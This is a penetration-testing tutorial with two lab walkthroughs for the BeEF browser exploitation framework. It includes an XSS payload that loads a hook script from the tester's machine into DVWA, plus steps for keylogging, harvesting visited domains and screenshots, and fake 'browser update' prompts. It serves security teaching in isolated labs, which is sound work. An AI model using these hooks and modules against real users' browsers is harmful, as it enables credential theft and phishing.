How to use BeEF

How to use BeEF

How to use BeEF

BeEF (Browser Exploitation Framework) is a powerful penetration testing tool that focuses on exploiting web browsers. It is particularly useful for assessing the security of browser-based environments and understanding the risks posed by browser vulnerabilities. Here is a quick overview to help students understand how to use BeEF:

What is BeEF?

  • Purpose: BeEF is designed to demonstrate the potential impact of vulnerabilities that can be exploited through browsers. It allows penetration testers to assess the security posture of web clients.
  • Use Case: It is primarily used to target and exploit weaknesses in browser security, which can lead to a deeper understanding of how cross-site scripting (XSS) and other browser-based attacks work.

Setting Up BeEF

  1. Installation:
    • BeEF comes pre-installed with many penetration testing distributions, such as Kali Linux.
    • To manually install, use the following commands:
      bash
      git clone https://github.com/beefproject/beef.git
      cd beef
      ./install
    • Run BeEF using:
      bash
      ./beef
  2. Configuration:
    • Configure BeEF settings in the config.yaml file to customize options like ports and logging.

Using BeEF for Penetration Testing

  1. Launching BeEF:
    • Start BeEF and access the web interface, usually at http://localhost:3000/ui/panel.
    • Default credentials: username: beef and password: beef.
  2. Hooking Browsers:
    • The primary method of exploitation is to get a victim to load a “hook” script in their browser.
    • This can be done using XSS vulnerabilities in a web application or by sending a phishing email with a link that loads the script.
  3. Exploiting Vulnerabilities:
    • Once a browser is hooked, BeEF provides various modules to execute attacks, such as:
      • Keylogging: Capture keystrokes.
      • Network Scanning: Identify internal network details.
      • Social Engineering: Launch pop-ups or phishing dialogs.

đź“ťLab Setup for BeEF Penetration Testing

Objective: Teach students how to use BeEF to perform basic browser exploitation in a controlled environment.

Prerequisites

  1. Kali Linux: Ensure students have Kali Linux installed, either on a physical machine, a virtual environment (like VirtualBox), or via a cloud setup.
  2. BeEF: Comes pre-installed in Kali Linux. If not, follow the installation steps provided earlier.
  3. Lab Environment: Ensure the students use a private, isolated network to prevent unauthorized access. A virtual lab setup is recommended.

Lab Steps

Step 1: Launch BeEF

  1. Open a Terminal in Kali Linux.
  2. Navigate to the BeEF directory:
    bash
    cd /usr/share/beef-xss
  3. Start BeEF:
    bash
    ./beef
  4. Access the BeEF Web Interface:
    • Open a browser and go to: http://localhost:3000/ui/panel
    • Default login credentials:
      • Username: beef
      • Password: beef

Step 2: Understanding the Hook

  1. Locate the Hook Script:
    • The hook script URL is shown in the BeEF interface, typically: http://<your-ip>:3000/hook.js
    • This script is used to “hook” a victim’s browser.
  2. Explain to Students:
    • The goal is to get a victim (in this case, another virtual machine or browser) to load this script. This can be simulated through a vulnerable web application or simple HTML file.

Step 3: Simulate Hooking a Browser

  1. Create a Simple HTML Page:
    • On a separate virtual machine or a browser on the same machine, create a simple HTML file:
      html
      <html>
      <head>
      <title>BeEF Hook Test</title>
      <script src="http://<your-ip>:3000/hook.js"></script>
      </head>
      <body>
      <h1>Welcome to the BeEF Hook Lab!</h1>
      </body>
      </html>
    • Replace <your-ip> with the IP address of your Kali Linux machine.
  2. Load the HTML File in a Browser:
    • Open the HTML file in a browser. This should “hook” the browser and make it appear in the BeEF control panel.

Step 4: Exploring BeEF Modules

  1. View the Hooked Browser:
    • In the BeEF interface, the hooked browser should now be listed under the “Hooked Browsers” section.
  2. Execute a Simple Module:
    • Example: Use the “Get Visited Domains” module.
    • Steps:
      • Select the hooked browser.
      • Navigate to “Commands” and select “Browser” -> “Get Visited Domains.”
      • Click “Execute” to run the module.
    • Result: The module will return a list of visited domains from the hooked browser.

Step 5: Keylogging Simulation

  1. Navigate to the Keylogger Module:
    • Select the hooked browser.
    • Go to “Commands” -> “Keylogging” -> “Simple Keylogger.”
    • Click “Execute.”
  2. Test Keylogging:
    • On the hooked browser, type something in a text field or open a simple web form.
    • Return to BeEF to view captured keystrokes.

Step 6: Social Engineering Example

  1. Use the Fake Notification Module:
    • Go to “Commands” -> “Social Engineering” -> “Fake Notification Bar.”
    • Customize the message to display a browser alert (e.g., “Your browser needs an update!”).
    • Click “Execute” and observe how it appears in the hooked browser.

METHOD 2.
Getting Started with BeEF FOR PENETRATION TESTING.

 Lab Steps:

Step 1: Setting Up BeEF

  1. Launch BeEF:
    • Open your terminal in Kali Linux and type:
      bash
      beef-xss
    • This starts the BeEF service, which you can access via your browser at http://127.0.0.1:3000/ui/panel.
    • Default credentials:
      • Username: beef
      • Password: beef
  2. Configure BeEF (optional):
    • If you want to customize ports, credentials, or other settings, you can edit the config.yaml file located in the BeEF directory (/usr/share/beef-xss/config.yaml).
    • After making any changes, restart BeEF to apply the new settings.

Step 2: Setting Up a Vulnerable Target Environment

  1. Install DVWA:
    • Download and set up DVWA on your local machine or another virtual machine.
    • Ensure DVWA is accessible on the same network as BeEF (host-only or NAT network within your VM settings).
  2. Set DVWA Security Level to Low:
    • Log into DVWA, navigate to the “DVWA Security” tab, and set the security level to “Low” to make exploitation easier for learning purposes.

Step 3: Hooking a Browser with BeEF

  1. Hook URL:
    • In the BeEF control panel (http://127.0.0.1:3000/ui/panel), locate the hook script URL (usually something like http://127.0.0.1:3000/hook.js).
    • Copy this URL.
  2. Inject the Hook:
    • Open DVWA in a browser and navigate to the XSS (Reflected) section.
    • In the input field, enter the following script to load the BeEF hook:
      html
      <script src="http://127.0.0.1:3000/hook.js"></script>
    • Submit the form. This action should trigger the XSS vulnerability and hook the DVWA browser session to BeEF.
  3. Verify the Hook:
    • In the BeEF control panel, check under “Hooked Browsers” for a new entry representing the hooked DVWA browser.

Step 4: Running Basic Modules on the Hooked Browser

With the browser hooked, BeEF provides a range of modules that can be executed. Here are a few safe examples for learning purposes:

  1. Alert Dialog:
    • In BeEF, navigate to the hooked browser and select the Social Engineering module.
    • Choose Alert Dialog and input a message (e.g., “This is a test alert from BeEF”).
    • Click Execute. This will display an alert dialog in the hooked browser.
  2. Get Page Source:
    • Select the Browser module and choose Get Page Source.
    • Execute the module, and BeEF will return the HTML source code of the current page the victim is viewing.
  3. Capture Keystrokes (optional):
    • Under the Keylogging module, select Keylogger.
    • Execute this module and then interact with the DVWA session in the hooked browser.
    • Any keystrokes entered will be captured and displayed in BeEF.
  4. Take a Screenshot (for educational purposes only):
    • Use the Screenshot module to capture an image of the browser’s current view.
    • This can demonstrate how BeEF can access visual data from the browser session.

Step 5: Cleaning Up

  1. Unhook the Browser:
    • Simply close the hooked browser window to terminate the connection.
  2. Stop BeEF:
    • In the terminal where BeEF is running, press Ctrl+C to stop the service.

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